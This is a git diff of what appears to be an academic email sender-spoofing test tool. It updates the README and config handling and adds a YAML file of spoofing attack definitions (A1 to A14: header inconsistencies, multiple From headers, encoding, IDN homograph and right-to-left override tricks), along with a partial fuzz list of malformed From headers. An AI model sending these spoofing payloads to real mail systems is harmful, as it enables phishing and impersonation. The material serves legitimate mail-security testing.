diff --git a/.gitignore b/.gitignore index 69de2af..347674b 100644 --- a/.gitignore +++ b/.gitignore @@ -4,6 +4,4 @@ __pycache__/* .DS_Store *.pyc *.log -/log/smtp.log -/log/mta.log -config/account.json +.bak diff --git a/README.md b/README.md index 122cb57..a163eb5 100644 --- a/README.md +++ b/README.md @@ -51,38 +51,7 @@ git clone https://github.com/EmailTestTools/EmailTestTools.git sudo pip install -r requirements.txt ``` -## Configure - -- Set the recipient address in `config.py` - - ```python - # Change receiveUser to what you like to test. - receiveUser = "xxx@gmail.com" - ``` - -- Configure your email account in `config/account.json`. - -```json -{ - "gmail.com": { - "user": "test@test.com", - "apipass": "apipass", - "passwd": "passwd", - "smtp_server": "mail.test.com:25", - "imap_server": "imap.test.com:143", - "pop3_server": "pop.test.com:110", - "ssl_smtp_server": "mail.test.com:465", - "ssl_imap_server": "imap.test.com:993", - "ssl_pop3_server": "pop.test.com:995"} -} -``` - -You can configure more than one account, and designate sending account in `config.py `. - -```python -# The domain name to be tested -target_domain = "gmail.com" -``` +> Set the default configuration in the `config.yaml` file. ## Fuzzing @@ -94,18 +63,18 @@ target_domain = "gmail.com" | Short Form | Long Form | Description | | ---------- | --------- | ------------------------------------------------------------ | | -r | --rfc | The RFC number of the ABNF rule to be extracted. | -| -t | --target | The field to be fuzzed in ABNF rules. | +| -f | --field | The field to be fuzzed in ABNF rules. | | -c | --count | The amount of ambiguity data that needs to be generated according to ABNF rules. | **Example:** ```bash -python3 pre_fuzz.py -r 5322 -t from -c 255 +python3 pre_fuzz.py -r 5322 -f from -c 255 ``` **Screenshots:** -
screenshots
+
screenshots
**Generated Test Sample:** @@ -131,30 +100,35 @@ For more test samples, please check this [file](https://github.com/EmailTestTool #### 2. Send spoofing emails with malformed sender address -[run_test.py](./run_test.py) will use the generated samples to test the security verification logic of the target mail system. We also carefully control the message sending rate with intervals over 10 minutes to minimize the impact's target email services. +[run_fuzz_test.py](./run_fuzz_test.py) will use the generated samples to test the security verification logic of the target mail system. We also carefully control the message sending rate with intervals over 10 minutes to minimize the impact's target email services. -You can choose **Shared MTA** or **Direct MTA** to send spoofing emails. At the same time, you can also choose **MIME From** or **MAIL From** header to test. +**Usage:** -| Short Form | Long Form | Description | -| ---------- | --------- | ------------------------------------------------- | -| -m | --mode | Attack mode ( SMTP: Shared MTA, MTA: Direct MTA). | -| -t | --target | The target field to test. (MIME / MAIL ) | +| Short Form | Long Form | Description | +| ---------- | --------- | ------------------------------------------------------------ | +| -m | --mode | The attack mode with spoofing emails (s: Shared MTA, d: Direct MTA) | +| -t | --target | Select target under attack mode. | +| -a | --attack | Select a specific attack method to send spoofing email. | + +**Example:** For example, if you want to use Direct MTA to fuzz MIME From header, you can execute: ```bash -python3 run_test.py -m MTA -t MIME +python3 run_test.py -m d -t gmail -a A2.1 ``` -By the way, if you want to use Shared MTA , you need to configure email sending account in `config/account.json` and `config.py`. +By the way, if you want to use Shared MTA , you need to configure email sending account in `config/config.yaml`. #### 3. Analyze and summarize the employed adversarial techniques -We analyze and summarize the employed adversarial techniques that make email sender spoofing successful in practice. We use two scripts to verify vulnerabilities in the real world. +We analyze and summarize the employed adversarial techniques that make email sender spoofing successful in practice. We use [spoofing.py](./spoofing.py) to verify vulnerabilities in the real world. + +**Usage:** + +
screenshots
-[smtp_send.py](./smtp_send.py) simulates as user's MUA to Sender's MTA via SMTP protocol (**Shared MTA**). It is to test the security issues of the Sender's MTA and test whether the receiver can accept the abnormal emails. -[mta_send.py](./mta_send.py) simulate as Sender's MTA to communicate with Receiver's MTA (**Direct MTA**). This tool can be simulated as any email sender and can test receiver's security. ## Evaluation @@ -174,20 +148,6 @@ We provide an evaluation tool to help email administrators to evaluate and stre The body of these forged emails contains detailed information about each header in email and corresponding defense measures, such as rejecting the letter, providing security warnings on the front end, etc. If a forged email enters the inbox of the target mail system, the administrator can easily understand the attack principle and take effective measures to defend it. -It should be noted that when using Direct MTA to test, some email headers need to be manually specified in some email spoofing attacks. So you may need to configure these headers' default values in `config.py`. - -```python -# Some default values in Direct MTA Attack when the attack does not specify these parameter values -mail_from = 'xxx@test.com' -mime_from = 'xxx@test.com' -reply_to = mime_from -sender = "xxx@test.com" -to_email = 'xxx@gmail.com' -subject = 'This is subject' -content = """This is content""" -helo = 'test.com' -``` - The following is an example of using this tool to evaluate the security of the target email system. You can see that some spoofing emails have entered the inbox of the target email system. This means that the target system may be vulnerable to the corresponding attacks @@ -202,4 +162,4 @@ You can get more information by reading the content of the email, including deta ## Version -Current version is 1.2 \ No newline at end of file +Current version is 2.0 \ No newline at end of file diff --git a/config.py b/config.py index e3398d5..9123b1d 100755 --- a/config.py +++ b/config.py @@ -1,43 +1,16 @@ #!/usr/bin/env python - -import os, json -from util.util import init_log, banner +import os,json +from core.util import init_log BASE_DIR = os.path.dirname(os.path.abspath(__file__)) LOG_FILE = BASE_DIR + '/log/run.log' FUZZ_PATH = BASE_DIR + '/config/fuzz.json' RULE_PATH = BASE_DIR + '/config/rule.json' -ACCOUNT_PATH = BASE_DIR + '/config/account.json' - -logger = init_log(LOG_FILE) +CONFIG_PATH = BASE_DIR + '/config/config.yaml' with open(RULE_PATH, 'r') as f: CONFIG_RULES = json.load(f) -with open(ACCOUNT_PATH, 'r') as f: - ACCOUNTS = json.load(f) - -# The domain name to be tested -target_domain = "gmail.com" +DEFAULT_EMAIL = 'default@mail.spoofing.com' -account = ACCOUNTS[target_domain] -user = account['user'] -passwd = account['apipass'] -smtp_server = account['smtp_server'] - -# Change receiveUser to what you like to test. -receiveUser = "xxx@gmail.com" - -# Some default values in Direct MTA Attack -mail_from = 'test@test.com' -mime_from = 'test@test.com' -reply_to = mime_from -sender = "test@test.com" -to_email = receiveUser -subject = 'This is subject' -content = """This is content""" -helo = 'test.com' -filename = None -image = None - -# +logger = init_log(LOG_FILE) diff --git a/config/account.json b/config/account.json deleted file mode 100755 index 69178e3..0000000 --- a/config/account.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "gmail.com": { - "user": "test@test.com", - "apipass": "apipass", - "passwd": "passwd", - "smtp_server": "mail.test.com:25", - "imap_server": "imap.test.com:143", - "pop3_server": "pop.test.com:110", - "ssl_smtp_server": "mail.test.com:465", - "ssl_imap_server": "imap.test.com:993", - "ssl_pop3_server": "pop.test.com:995" - } -} \ No newline at end of file diff --git a/config/config.yaml b/config/config.yaml new file mode 100644 index 0000000..ed21ed4 --- /dev/null +++ b/config/config.yaml @@ -0,0 +1,175 @@ +share_mode: + default: + username: xxxx@mails.tsinghua.edu.cn # username via SMTP login + password: xxxxxx # password via SMTP login + host: mails.tsinghua.edu.cn # SMTP server + port: 25 # Optional, default 25 + use_tls: False # Optional, default False + use_ssl: False # Optional, default False + debug_level: False # Optional, default False + + gmail.com: + username: xxx@gmail.com + password: xxxx + host: smtp.gmail.com + port: 25 + + +direct_mode: + default: + host: 163.com # Target email service domain, e.g. admin@163.com ==> 163.com + port: 25 # Optional, default 25 + use_tls: False # Optional, default False + use_ssl: False # Optional, default False + debug_level: False # Optional, default False + + +attack: + default: + subject: "Normal Email Test!" + body: "If you can see this email, it means that the email can be delivered normally. :)" + html: + attachments: + date: + mail_from: + mime_from: + to: + cc: + bcc: + reply_to: + mail_to: + extra_headers: + helo: + autoencode: False + + # A1 attack + A1: + mail_from: "test@mail.spoofing.com" + subject: "[Warning] Maybe you are vulnerable to the A1 attack!" + body: "A1: The Inconsistency between Auth username and Mail From headers." + description: "A1: The Inconsistency between Auth username and Mail From headers." + defense: "Prohibit sending such emails!" + + # A2 attack + A2.1: + mime_from: "Oscar@mail.spoofing.com" + subject: "[Warning] Maybe you are vulnerable to the A2 attack!" + body: "A2.1: The Inconsistency between Mail From and From headers, with different username." + description: "A2.1: The Inconsistency between Mail From and From headers, with different username." + defense: "You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI." + + + # A2 attack + A2.2: + mime_from: "Alice@attack.com" + subject: "[Warning] Maybe you are vulnerable to the A2 attack!" + body: "A2.2: The Inconsistency between Mail From and From headers, with different domain." + description: "A2.2: The Inconsistency between Mail From and From headers, with different username." + defense: "You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI." + + + # A3 attack + A3: + helo: "mail.spoofing.com" + mail_from: "" + subject: "[Warning] Maybe you are vulnerable to the A3 attack!" + body: "A3: Empty Mail From Attack." + description: "A3: Empty Mail From Attack." + defense: "You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI." + + + # A4 attack + A4: + mime_from: "admin@mail.spoofing.com" + extra_headers: {"From": "nislemail@spoofing.com"} + subject: "[Warning] Maybe you are vulnerable to the A4 attack!" + body: "A4: Multiple From Headers." + description: "A4: Multiple From Headers." + defense: "You should reject such emails which contain multiple from headers." + + # A5 attack + A5: + mime_from: ", " + extra_headers: {"Sender": "nislemail@163.com"} + subject: "[Warning] Maybe you are vulnerable to the A5 attack!" + body: "A5: Multiple From Headers." + description: "A5: Multiple From Headers." + defense: "You should display all sender addresses and remind users that it may be forged emails on UI." + + # A6 attack + A6: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A6: Parsing Inconsistencies Attacks." + autoencode: False + description: "A6: Parsing Inconsistencies Attacks." + defense: "You should reject such emails which contain special chars in From header." + + # A7 attack + A7: + mime_from: "<{{ b64(Alice@a.com) }}{{ b64(\xff) }}@attack.com>" + subject: "[Warning] Maybe you are vulnerable to the A7 attack!" + body: "A7: Encoding Based Attack." + description: "A7: Encoding Based Attack." + defense: "You should Add a reminder to remind users." + + # A8 attack + A8: + mail_from: "" + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A8 attack!" + body: "A8: The Subdomain Attack." + description: "A8: The Subdomain Attack." + defense: "You should Add a reminder to remind users" + + + + # A9-A11 need manual config the email forwarding service. We test those attacks manually. + + + # A12 attack + A12.1: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A12 attack!" + body: "A12.1: IDN Homograph Attack with IDN domain." + description: "A12.1: IDN Homograph Attack with IDN domain." + defense: "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." + + + # A12 attack + A12.2: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A12 attack!" + body: "A12.2: IDN Homograph Attack with IDN username." + description: "A12.2: IDN Homograph Attack with IDN username." + defense: "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." + + + # A13 attack + A13: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A13: Missing UI Rendering Attack." + description: "A13: Missing UI Rendering Attack" + defense: "You should reject emails which contains special and not allowed characters in the sender address or add a warning in the UI." + + # A14 attack + A14.1: + mime_from: "\u202emoc.qq@\u202d@test.com" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A14: Right-to-left Override Attack in username." + description: "A14: Right-to-left Override Attack in username." + defense: "You should reject emails which contain these special characters in the sender address or add a warning on UI." + + + A14.2: + mime_from: "test@\u202etest.com\u202d" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A14: Right-to-left Override Attack in domain." + description: "A14: Right-to-left Override Attack in domain." + defense: "You should reject emails which contain these special characters in the sender address or add a warning on UI." + +global_parameters: + subject: "Template subject" + mail_to: "nislemail@163.com" # Change receiveUser to what you like to test. + diff --git a/config/example.config.yaml b/config/example.config.yaml new file mode 100644 index 0000000..ed21ed4 --- /dev/null +++ b/config/example.config.yaml @@ -0,0 +1,175 @@ +share_mode: + default: + username: xxxx@mails.tsinghua.edu.cn # username via SMTP login + password: xxxxxx # password via SMTP login + host: mails.tsinghua.edu.cn # SMTP server + port: 25 # Optional, default 25 + use_tls: False # Optional, default False + use_ssl: False # Optional, default False + debug_level: False # Optional, default False + + gmail.com: + username: xxx@gmail.com + password: xxxx + host: smtp.gmail.com + port: 25 + + +direct_mode: + default: + host: 163.com # Target email service domain, e.g. admin@163.com ==> 163.com + port: 25 # Optional, default 25 + use_tls: False # Optional, default False + use_ssl: False # Optional, default False + debug_level: False # Optional, default False + + +attack: + default: + subject: "Normal Email Test!" + body: "If you can see this email, it means that the email can be delivered normally. :)" + html: + attachments: + date: + mail_from: + mime_from: + to: + cc: + bcc: + reply_to: + mail_to: + extra_headers: + helo: + autoencode: False + + # A1 attack + A1: + mail_from: "test@mail.spoofing.com" + subject: "[Warning] Maybe you are vulnerable to the A1 attack!" + body: "A1: The Inconsistency between Auth username and Mail From headers." + description: "A1: The Inconsistency between Auth username and Mail From headers." + defense: "Prohibit sending such emails!" + + # A2 attack + A2.1: + mime_from: "Oscar@mail.spoofing.com" + subject: "[Warning] Maybe you are vulnerable to the A2 attack!" + body: "A2.1: The Inconsistency between Mail From and From headers, with different username." + description: "A2.1: The Inconsistency between Mail From and From headers, with different username." + defense: "You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI." + + + # A2 attack + A2.2: + mime_from: "Alice@attack.com" + subject: "[Warning] Maybe you are vulnerable to the A2 attack!" + body: "A2.2: The Inconsistency between Mail From and From headers, with different domain." + description: "A2.2: The Inconsistency between Mail From and From headers, with different username." + defense: "You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI." + + + # A3 attack + A3: + helo: "mail.spoofing.com" + mail_from: "" + subject: "[Warning] Maybe you are vulnerable to the A3 attack!" + body: "A3: Empty Mail From Attack." + description: "A3: Empty Mail From Attack." + defense: "You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI." + + + # A4 attack + A4: + mime_from: "admin@mail.spoofing.com" + extra_headers: {"From": "nislemail@spoofing.com"} + subject: "[Warning] Maybe you are vulnerable to the A4 attack!" + body: "A4: Multiple From Headers." + description: "A4: Multiple From Headers." + defense: "You should reject such emails which contain multiple from headers." + + # A5 attack + A5: + mime_from: ", " + extra_headers: {"Sender": "nislemail@163.com"} + subject: "[Warning] Maybe you are vulnerable to the A5 attack!" + body: "A5: Multiple From Headers." + description: "A5: Multiple From Headers." + defense: "You should display all sender addresses and remind users that it may be forged emails on UI." + + # A6 attack + A6: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A6: Parsing Inconsistencies Attacks." + autoencode: False + description: "A6: Parsing Inconsistencies Attacks." + defense: "You should reject such emails which contain special chars in From header." + + # A7 attack + A7: + mime_from: "<{{ b64(Alice@a.com) }}{{ b64(\xff) }}@attack.com>" + subject: "[Warning] Maybe you are vulnerable to the A7 attack!" + body: "A7: Encoding Based Attack." + description: "A7: Encoding Based Attack." + defense: "You should Add a reminder to remind users." + + # A8 attack + A8: + mail_from: "" + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A8 attack!" + body: "A8: The Subdomain Attack." + description: "A8: The Subdomain Attack." + defense: "You should Add a reminder to remind users" + + + + # A9-A11 need manual config the email forwarding service. We test those attacks manually. + + + # A12 attack + A12.1: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A12 attack!" + body: "A12.1: IDN Homograph Attack with IDN domain." + description: "A12.1: IDN Homograph Attack with IDN domain." + defense: "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." + + + # A12 attack + A12.2: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A12 attack!" + body: "A12.2: IDN Homograph Attack with IDN username." + description: "A12.2: IDN Homograph Attack with IDN username." + defense: "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." + + + # A13 attack + A13: + mime_from: "" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A13: Missing UI Rendering Attack." + description: "A13: Missing UI Rendering Attack" + defense: "You should reject emails which contains special and not allowed characters in the sender address or add a warning in the UI." + + # A14 attack + A14.1: + mime_from: "\u202emoc.qq@\u202d@test.com" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A14: Right-to-left Override Attack in username." + description: "A14: Right-to-left Override Attack in username." + defense: "You should reject emails which contain these special characters in the sender address or add a warning on UI." + + + A14.2: + mime_from: "test@\u202etest.com\u202d" + subject: "[Warning] Maybe you are vulnerable to the A6 attack!" + body: "A14: Right-to-left Override Attack in domain." + description: "A14: Right-to-left Override Attack in domain." + defense: "You should reject emails which contain these special characters in the sender address or add a warning on UI." + +global_parameters: + subject: "Template subject" + mail_to: "nislemail@163.com" # Change receiveUser to what you like to test. + diff --git a/config/fuzz.json b/config/fuzz.json index fc79b4b..9be793e 100755 --- a/config/fuzz.json +++ b/config/fuzz.json @@ -1,2507 +1,2499 @@ -[ - "From :,()(comment),(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8YXR0YWNrZXJAdG9wLmNvbT4sQWxpY2VAeW1haWwuY29tLHdlYm1hc3RlckBsaXZlLmNvbSxhZG1pbkBpY2xvdWQuY29tLHNlY3VyaXR5QHNvaHUuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBtc24uY29tPix3b3Jkd29yZChoaSk8TWlrZUBhbGl5dW4uY29tPix3b3JkPGFkbWluQGhvdG1haWwuY29tPihoaSksd29yZHdvcmR3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBhbGl5dW4uY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", - "From:Bob@aliyun.com,(),,,word\r\n", - " FrOM: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:key@msn.com\r\n", - " Fromÿ: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - "From :,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - "From:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - "From: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", - " From:,,(comment),webmaster@sina.cn,(hi)\r\n", - "From: ,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - "From: (hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - " Fromÿ: \r\nFrom:,key@139.com,,(hi),,(),\r\n", - "From: <=?utf-8?RnJvbTprZXlAb3V0bG9vay5jb20sKGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", - "From:word(comm\r\nent)\r\n", - "From :word(comm\r\nent),,(\r\n)\r\n", - "From:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - "From: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", - " From:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - "From:(\r\n),(hi),(),(comm\r\nent),\r\n", - "From:Alice@foxmail.com,attacker@139.com\r\n", - "From :word.(\r\n),hr@ymail.com\r\n", - "From :(),(comm\r\nent),(comm\r\nent),(comment)\r\n", - " Fromÿ: \r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - " FrOM: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAdG9wLmNvbT4oaGkpDQo==?=>", - "From :admin@139.com,(comm\r\nent)(comment)\r\n", - "From: \r\nFrom:,hr@aliyun.com\r\n", - " Fromÿ: \r\nFrom:admin@icloud.com\r\n", - "From: <=?utf-8?RnJvbTosPGF0dGFja2VyQHNpbmEuY24+KA0KKQ0K=?=>", - "From:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBhbGl5dW4uY29tDQo==?=>", - " From:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - " From: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - " FrOM: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - "From: <=?utf-8?RnJvbTpockBnbWFpbC5jb20NCg===?=>", - " Fromÿ: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZChjb21tDQplbnQpPGhyQGZveG1haWwuY29tPigNCiksYWRtaW5AZm94bWFpbC5jb20sd2VibWFzdGVyQDEzOS5jb20sc2VjdXJpdHlAZ21haWwuY29tDQo==?=>\u0000@attack.com", - "From:Bob@sohu.com\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tLGtleUAxMjYuY29tDQo==?=>\u0000@attack.com", - "From: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - "From: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - " Fromÿ: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", - " FrOM: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - "From: \r\nFrom:(hi),,(hi),(hi)\r\n", - "From: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", - "From: <=?utf-8?RnJvbTooKSxCb2JAcXEuY29tDQo==?=>", - "From: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - "From: \r\nFrom:hr@126.com\r\n", - "From:webmaster@sina.com\r\n", - " From: \r\nFrom:key@sina.cn,\r\n", - "From: Bob@aliyun.com,(),,,word\r\n", - "From: Alice@aliyun.com\r\n", - " From:,attacker@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QDEyNi5jb20+LHdvcmQuPGF0dGFja2VyQGdtYWlsLmNvbT4oDQopLHdvcmQoKTxzZWN1cml0eUBzaW5hLmNuPihjb21tZW50KSwsKGNvbW1lbnQpDQo==?=>\u0000@attack.com", - "From:,Alice@top.com\r\n", - "From: wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - "From :wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - " From: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", - " From: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - " From: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - " FrOM: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - " From: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", - "From: ,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - " Fromÿ: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+LChoaSk8YXR0YWNrZXJAbXNuLmNvbT4oaGkpDQo==?=>", - "From: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - "From :attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - "From: <=?utf-8?RnJvbTooaGkpLCwoaGkpLDx3ZWJtYXN0ZXJAdG9wLmNvbT4oaGkpDQo==?=>", - " FrOM: \r\nFrom:word(\r\n)(\r\n)\r\n", - " From:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From :key@sohu.com\r\n", - " FrOM: \r\nFrom:Alice@aliyun.com\r\n", - " From:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - " From:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - "From:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - " Fromÿ: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - " From: \r\nFrom:()\r\n", - " From:wordword(\r\n)\r\n", - "From :security@china.com,,\r\n", - " From: \r\nFrom:attacker@outlook.com\r\n", - "From: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - " FrOM: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", - "From :word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - "From:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - " From: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - " From: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", - "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>\u0000@attack.com", - "From: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - "From:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - "From:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbQ0K=?=>", - "From :<@qq.com:@163.com:attacker@live.com>(comment)\r\n", - "From :(),Mike@139.com,\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkAxNjMuY29tLGF0dGFja2VyQGhvdG1haWwuY29tDQo==?=>", - "From: \r\nFrom:,()(comment),(\r\n)\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20saHJAdG9wLmNvbSx3ZWJtYXN0ZXJAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", - "From: (hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - " From:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - "From:word(comment)(comment)\r\n", - "From: ,attacker@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAbGl2ZS5jb20NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSxrZXlAaWNsb3VkLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206aHJAeW1haWwuY29tLmNuPigpDQo==?=>\u0000@attack.com", - " FrOM: \r\nFrom:key@sina.cn,\r\n", - " Fromÿ: \r\nFrom:Alice@msn.com,\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGhyQHNvaHUuY29tPihoaSksQm9iQHltYWlsLmNvbS5jbiwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAZm94bWFpbC5jb20+DQo==?=>", - "From: admin@icloud.com\r\n", - " FrOM: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - "From: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", - " From:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxrZXlAbGl2ZS5jb20+KA0KKQ0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:webmaster@139.com\r\n", - " From:,hr@126.com,(hi)\r\n", - " Fromÿ: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZHdvcmQ8YWRtaW5AaG90bWFpbC5jb20+DQo==?=>\u0000@attack.com", - " FrOM: \r\nFrom:,,key@foxmail.com\r\n", - " Fromÿ: \r\nFrom:,,key@foxmail.com\r\n", - " From: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - "From: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - " From: \r\nFrom:security@china.com,,\r\n", - " From:wordword(),wordwordword(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTosKCk8a2V5QHltYWlsLmNvbT4oY29tbWVudCksKA0KKQ0K=?=>", - " From:()<@gmail.com:@b.com:Mike@live.com>\r\n", - "From: \r\nFrom:(comm\r\nent)\r\n", - "From :wordword(\r\n)\r\n", - "From: \r\nFrom:admin@china.com\r\n", - " FrOM: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", - " From: \r\nFrom:attacker@163.com\r\n", - " From: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", - " FrOM: \r\nFrom:word(\r\n)()\r\n", - "From :admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - "From: 